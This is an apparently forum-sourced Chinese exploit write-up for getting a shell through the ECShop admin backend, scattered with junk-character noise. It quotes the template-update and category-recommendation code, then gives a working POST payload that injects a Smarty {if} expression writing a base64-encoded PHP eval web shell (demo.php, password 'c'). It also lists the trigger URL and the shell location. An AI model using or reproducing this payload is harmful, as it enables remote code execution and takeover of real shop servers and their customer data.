Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

: C2 [% V% v0 l5 _6 }而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
0 C# p# X" Y" T但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: j) \1 S3 i) B6 R% ]0 Z" G1 Jadmin/template.php
) x' J5 n) F, a( {
5 j! c! ~( a0 ^1 if ($_REQUEST['act'] == 'update_library')

2   
. d' K5 C$ ^# S' C
" Q3 |1 c1 a, Q! {5 _7 z7 f3 {
! f/ ?2 A* z6 \, ~- R4 [) ^
4     check_authz_json('library_manage');

5   

) g. [% y5 d3 ~( ?! U6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

/ s. G  b, B3 f9 W9 n8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
. L$ _  V3 r; m) W- J3 u
) W. k3 G' e: x1 `' S4 \, }10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

0 p' G& a, Y( c) O* \11   

/ Q* {) F2 O/ v8 S$ Y7 R12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
0 |% Z2 v( M( N$ x6 y
0 Z. Z+ ^- b+ d* H9 y/ v3 }' T13   
0 X' n4 z* p- B) A: p
5 B7 l* t! n; \$ |: E$ P- w, @' N14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
8 ?7 z0 W, p' s: ~3 p% t5 X4 c% F- D; C
% f: J, `  D" J9 I& h0 Y15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

$ u3 c; F! i7 U9 v# b5 n! g17         make_json_result('', $_LANG['update_lib_success']);
6 X: s) A4 d& C8 g
4 b( ^& H6 P2 e+ S  |) N18     }
$ ?7 k* R, w; |- h; [
' r; s8 `; E+ J$ c3 r19     else
8 A" f, d# s: m7 L, D& m& }
20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
& m6 H; H! V! W% }
22     }

' V0 i# A, B9 e: C( ^, Q7 N23 }
5 @% l4 }  d- D  k5 b
那么找个比较方便调用了模板的文件
1 g- ?; E% d/ o+ R6 w2 p7 P. h7 qindex.php
4 y( U5 A% E; I5 D
7 b' Z. i4 b: ~. f( ^1 if ($act == 'cat_rec')

* _( g- k' w$ ?5 \  l8 Q: e8 ?) }2   
! S) S; @. H+ b' V+ q
3 {

! I! s' ~( A; w2 y4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
# Z2 h! E! V& i7 W. S
6   
' L7 p; f: _  p4 {9 x( e( K0 t; C
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
$ H, I8 {" C4 B1 b
8   
0 Y+ X' ]0 }* |
2 A# L, G: l1 B7 D4 E! W* _: I9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
/ b& O. h3 c8 c: T' m9 F$ X* o
10   
7 a* a0 ^' K3 \0 m
: J/ X) k/ I, C1 S* H11     include_once('includes/cls_json.php');
6 |0 f- V9 o% D+ j
% |. |$ T$ m5 m* a8 `12   

13     $json = new JSON;
- V$ _$ x8 N) P  S# S6 l
( h1 H* r. s6 h5 O- t. X14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
8 p! T7 H( l+ K* P% _: G
+ K" b0 x& K& M7 r; m2 D; E16   

17     $children = get_children($cat_id);

18   

' [$ M0 @6 G5 a19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
+ m  [2 F% y: P8 b3 ^: F  ~
, T8 @: z6 \' G1 y21     $smarty->assign('cat_rec_sign', 1);

22   

2 w( E0 O' `& h( z& s23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ c% f* Y8 m2 N. r$ z
$ H2 s6 u& K. h) A+ I8 i24   
8 \1 u9 C; f$ I, n0 L$ J% q/ K( S5 Q
( @' m- Q& d1 S: Q25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

27         echo $rec_array[$rec_type];
0 b' D$ b1 y7 m- d
9 H: m/ ~* p! n7 w28   

, v' w/ C9 L# Y/ `* T29     die($json->encode($result));

' j) ^& |$ \( p. w30   

31 }

9 R; [( N5 y" y) V# H1 e: ~( h# T那么就有利用方法了
* m" ~8 p/ h8 |* gpost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

/ v* r0 P/ x, q​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
/ L9 {! @- v4 D) g* u/ `* C$ [+ R
然后访问http://localhost/ec/index.php?act=cat_rec
. x% |# h$ j4 J( }
shel地址：http://localhost/ec/demo.php
密码c
' o/ @" s+ G& v- i' r9 X3 B$ @9 `